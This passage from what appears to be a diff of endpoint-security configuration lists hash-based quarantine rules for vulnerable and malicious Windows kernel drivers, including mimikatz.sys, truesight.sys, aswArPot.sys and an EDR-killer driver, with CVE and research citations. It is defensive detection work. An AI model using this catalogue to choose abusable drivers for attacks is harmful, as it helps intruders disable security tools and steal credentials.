+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145541Z",
+  "creation_date": "2026-03-23T11:45:31.145543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ce6d70fd61896b1ca589c0f8512300b0be2fa4c26a4e3c5805487daed25fce1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fd1c727-6da4-5de8-9b32-be60c02ad31c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456942Z",
+  "creation_date": "2026-03-23T11:45:30.456953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c025ec72d4b8297ee2e0fac7747f39d256aad26fbf0554e3729e3e381bc6ea86",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fd82f10-a16f-59b0-8d7c-59c1705f1ce1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811274Z",
+  "creation_date": "2026-03-23T11:45:31.811276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e090fc6f8c03c42d752b1cb52fa51331d0a0a245329843e3c35fac314f237bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fe88f7b-4a1c-5eaf-81cc-53cd53dccba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152925Z",
+  "creation_date": "2026-03-23T11:45:31.152929Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152937Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6566352b41ad20e1d0fdb1a4c608c24cb273d8a70f568fe88b72094f4fbd8a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fe9f322-b11d-5ad8-b96d-5ddf9027552c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480697Z",
+  "creation_date": "2026-03-23T11:45:31.480701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0d31558649752c27457acdbfe7ece8bf4764e3f69216dfeabe47acc301b905d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ff8525c-b1b9-58e3-83ba-ee3e98972f9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142669Z",
+  "creation_date": "2026-03-23T11:45:32.142672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b57caf226aaf1ee53a3e98e2f2ed40837bfa7a889b2914796f03ead147f219a6",
+  "comment": "KingSoft Antivirus Security System Driver (aka ksapi64.sys and ksapi64_del.sys) [https://github.com/BlackSnufkin/BYOVD/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4ffcf1c1-6abd-5df7-b738-8e21bb38670e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480986Z",
+  "creation_date": "2026-03-23T11:45:30.480989Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bef87650c29faf421e7ad666bf47d7a78a45f291b438c8d1c4b6a66e5b54c6fc",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50033f63-6cea-5367-a2be-86c52857e2bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610031Z",
+  "creation_date": "2026-03-23T11:45:29.610033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5004279b-d577-5554-8229-cdfb98da535e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613329Z",
+  "creation_date": "2026-03-23T11:45:29.613331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53bb076e81f6104f41bc284eedae36bd99b53e42719573fa5960932720ebc854",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50214fe8-8e1d-5349-8037-94e464ab1c65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611745Z",
+  "creation_date": "2026-03-23T11:45:29.611747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611752Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bf6f1b49ed332b31c695ee1e3e8db69d7514a3179f707034eec96de4865e1d2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "502e41a2-19d0-5dd4-829f-0b065ee4c387",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968280Z",
+  "creation_date": "2026-03-23T11:45:29.968283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "795e5774aefd74200d552bf7ede17491c254fa7a73e2a00eb0e1462f18211ff5",
+  "comment": "Vulnerable Kernel Driver (aka EneIo64.sys) [https://www.loldrivers.io/drivers/90ecbbf7-b02f-424d-8b7d-56cc9e3b5873/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5041a6e3-ff8b-5e20-9491-934fa55fa9f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152340Z",
+  "creation_date": "2026-03-23T11:45:31.152343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a3f3f0f302e12078ec7fe953716d9ff14d60a90317ed36dc859104009b0f32e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5048346d-67e2-518c-bda3-c224ffc28682",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813006Z",
+  "creation_date": "2026-03-23T11:45:31.813009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d436f001638d3f7098656cdb48be86e6a9852807a5cb930b61721f6e4ca0bf5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50490c99-1eb7-5277-b77b-f0c03826efae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467413Z",
+  "creation_date": "2026-03-23T11:45:30.467417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36670821bb4a9d69bb6193e21b0da5c52975f001d3ed2dd7ee6307a2cff8317c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "504c36ac-ffb0-54de-9b4c-2b8dc29191bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969005Z",
+  "creation_date": "2026-03-23T11:45:29.969007Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "505092ad-f074-51b4-83be-4840cb7be274",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822133Z",
+  "creation_date": "2026-03-23T11:45:31.822136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bbe48da0781e5052a2f1b65ae44ab7f52486db274c29311c7870d7f57ed4cc8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5068bace-3498-5fac-994e-dd0bb87cfea2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145862Z",
+  "creation_date": "2026-03-23T11:45:32.145864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6365024365fb0899e8a81735369a2e01f55523888e84b091858b48ef14a79e23",
+  "comment": "Malicious Kernel Driver (aka avkiller.sys) [https://www.loldrivers.io/drivers/7a9d34e4-c660-4388-ab61-4fd6f6bf1ad4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "506bd46c-1dfd-52ba-b356-e15bef6116cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819418Z",
+  "creation_date": "2026-03-23T11:45:31.819422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819430Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b43f92cbbbf47b846e10a90c594110be31ba277c02c6ea9ded0c68228ac8b7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "50755618-51a9-5475-95f7-6eb61f6fa57f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485866Z",
+  "creation_date": "2026-03-23T11:45:31.485906Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a729cfcd1a8d9b88653abb093211d7ebf06e60b0f32ade40720c455947928c9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "508360e1-b7cd-58a0-8d74-e72997b2db56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820591Z",
+  "creation_date": "2026-03-23T11:45:31.820594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "803be22d59eb2e6183cae676b7014e452d4a6bf0bacdf931b14de0239c17dcb5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5084dafd-4296-5b47-af0a-466292e622ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461935Z",
+  "creation_date": "2026-03-23T11:45:30.461938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461954Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c13f5bc4edfbe8f1884320c5d76ca129d00de41a1e61d45195738f125dfe60a7",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "508aa9f8-60c0-5982-966e-d7484613c903",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976885Z",
+  "creation_date": "2026-03-23T11:45:29.976887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b2a83d34818db56eb39a42cc9605734c9184026cca200e819b9412071206b42",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "508fb888-f341-5126-9777-3a0a79247232",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144055Z",
+  "creation_date": "2026-03-23T11:45:31.144057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
